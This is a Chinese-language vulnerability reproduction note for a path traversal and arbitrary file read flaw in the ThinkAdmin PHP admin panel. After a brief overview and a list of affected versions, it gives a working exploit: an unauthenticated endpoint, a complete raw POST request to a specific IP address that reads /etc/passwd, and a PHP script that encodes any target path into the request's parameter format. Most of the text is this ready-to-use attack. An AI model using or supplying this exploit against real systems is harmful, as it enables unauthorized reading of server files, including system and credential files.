一、漏洞概述
ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin v6版本存在路径遍历漏洞。攻击者可利用该漏洞通过GET请求编码参数任意读取远程服务器上的文件。
二、影响范围
Thinkadmin ≤ 2020.08.03.01
v5(任意文件读取)
v6(列目录,任意文件读取)
三、漏洞复现
1、文件读取
/admin.html?s=admin/api.Update/node
2、文件读取+目录穿越
POST /admin.html?s=admin/api.Update/get/encode/1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s HTTP/1.1
Host: 123.58.224.8:12984
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
rules=%5B%22.%2F%22%5D
对结果进行base64解码。
3、1a1a1b1a1a1b1a1a1b2t382r1b342p37373b2s对应./../../etc/passwd的生成方法。
<?php
$name = "../../../etc/passwd";
for ($i = 0; $i < strlen($ename = iconv('UTF-8', 'GBK//TRANSLIT', $name)); $i++)
{
echo str_pad(base_convert(ord($ename[$i]), 10, 36), 2, 0, 0);
}
?>
在本地php环境,把脚本得到到poc.php中,访问poc.php生成。